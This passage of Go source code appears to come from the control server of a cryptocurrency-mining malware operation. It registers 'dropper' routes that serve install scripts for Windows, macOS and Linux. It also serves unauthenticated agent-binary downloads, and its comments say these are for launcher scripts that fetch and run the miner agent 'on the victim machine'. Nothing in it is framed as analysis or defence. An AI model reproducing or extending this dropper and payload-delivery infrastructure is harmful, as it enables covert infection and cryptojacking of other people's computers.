r.Get("/get", dropperHandler.ServeGet)
|
|
r.Get("/install.sh", dropperHandler.ServeSh)
|
|
r.Get("/install.ps1", dropperHandler.ServePs1)
|
|
r.Get("/install.command", dropperHandler.ServeCommand)
|
|
}
|
|
|
|
// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
|
|
// dropped by Seek Mode can fetch and run the agent on the victim machine.
|
|
// Unauthenticated (the drop URL itself is the secret).
|
|
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
|
|
r.Get("/api/download/agent-mac", serveAgentBinary("mac"))
|
|
r.Get("/api/download/agent-linux", serveAgentBinary("linux"))
|
|
|
|
// Serve frontend SPA
|
|
if webRoot != "" {
|
|
// Check if webroot directory exists
|
|
if info, err := os.Stat(webRoot); err == nil && info.IsDir() {
|
|
// Create a file server for the webroot
|
|
fileServer := http.FileServer(http.Dir(webRoot))
|
|
|
|
// SPA fallback: serve index.html for all non-API, non-WebSocket routes
|
|
r.Get("/*", func(w http.ResponseWriter, r *http.Request) {
|
|
// Clean the path
|
|
path := strings.TrimPrefix(r.URL.Path, "/")
|
|
if path == "" || strings.Contains(path, "..") {
|
|
w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate")
|
|
http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
|
|
return
|
|
}
|
|
fullPath := filepath.Join(webRoot, path)
|
|
|
|
// Check if the file exists
|
|
if _, err := os.Stat(fullPath); err == nil {
|
|
fileServer.ServeHTTP(w, r)
|
|
return
|
|
}
|
|
|
|
// SPA fallback - serve index.html (never cache: hashed assets change each build)
|
|
w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate")
|
|
http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
|
|
})
|
|
} else {
|
|
// Fallback if webroot doesn't exist
|
|
r.Get("/", func(w http.ResponseWriter, r *http.Request) {
|
|
w.Header().Set("Content-Type", "text/html")
|
|
w.Write([]byte(`<!DOCTYPE html><html><head><title>Crypto Miner</title></head><body>
|
|
<h1>Crypto Miner Control Server</h1>
|
|
<p>Server is running. Build the frontend with <code>cd server/web && npm install && npm run build</code></p>
|
|
<p>API: <a href="/api/v1/health">/api/v1/health</a></p>
|
|
</body></html>`))
|
|
})
|
|
}
|
|
} else {
|
|
r.Get("/", func(w http.ResponseWriter, r *http.Request) {
|
|
w.Header().Set("Content-Type", "text/html")
|
|
w.Write([]byte(`<!DOCTYPE html><html><head><title>Crypto Miner</title></head><body>
|
|
<h1>Crypto Miner Control Server</h1>
|
|
<p>Server is running. No frontend configured.</p>
|
|
<p>API: <a href="/api/v1/health">/api/v1/health</a></p>
|
|
</body></html>`))
|
|
})
|
|
}
|
|
|
|
return r
|
|
}
|
|
|
|
// serveAgentBinary returns an HTTP handler that streams the agent binary for
|
|
// the requested platform. It looks for the binary next to the running server
|
|
// exe so it works both from the USB bundle and from a compiled dev build.
|
|
//
|
|
// Filename convention (same as what the build pipeline produces):
|
|
// - windows → crypto-miner-agent.exe
|
|
// - mac/linux → crypto-miner-agent (no extension)
|
|
func serveAgentBinary(platform string) http.HandlerFunc {
|
|
return func(w http.ResponseWriter, r *http.Request) {
|
|
exe, err := os.Executable()
|
|
if err != nil {
|
|
http.Error(w, "server exe not found", http.StatusInternalServerError)
|
|
return
|
|
}
|
|
dir := filepath.Dir(exe)
|
|
|
|
var candidates []string
|
|
var dlName string
|
|
|
|
switch platform {
|
|
case "windows":
|
|
dlName = "crypto-miner-agent.exe"
|
|
candidates = []string{
|
|
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
|
|
filepath.Join(dir, "crypto-miner-agent.exe"),
|
|
}
|
|
case "mac":
|
|
dlName = "crypto-miner-agent"
|
|
candidates = []string{
|
|
filepath.Join(dir, "agent", "crypto-miner-agent-darwin"),
|
|
filepath.Join(dir, "crypto-miner-agent-darwin"),
|
|
filepath.Join(dir, "agent", "crypto-miner-agent"),
|
|
}
|
|
case "linux":
|
|
dlName = "crypto-miner-agent"
|
|
candidates = []string{
|
|
filepath.Join(dir, "agent", "crypto-miner-agent-linux"),
|
|
filepath.Join(dir, "crypto-miner-agent-linux"),
|
|
filepath.Join(dir, "agent", "crypto-miner-agent"),
|
|
}
|
|
}
|
|
|
|
var binPath string
|
|
for _, c := range candidates {
|
|
if _, err := os.Stat(c); err == nil {
|
|
binPath = c
|
|
break
|
|
}
|
|
}
|
|
|
|
if binPath == "" {
|
|
log.Printf("[supp] agent binary not found for platform=%s (looked in %s)", platform, dir)
|
|
http.Error(w, "agent binary not available for "+platform, http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
w.Header().Set("Content-Type", "application/octet-stream")
|
|
w.Header().Set("Content-Disposition", `attachment; filename="`+dlName+`"`)
|
|
http.ServeFile(w, r, binPath)
|
|
}
|
|
}
|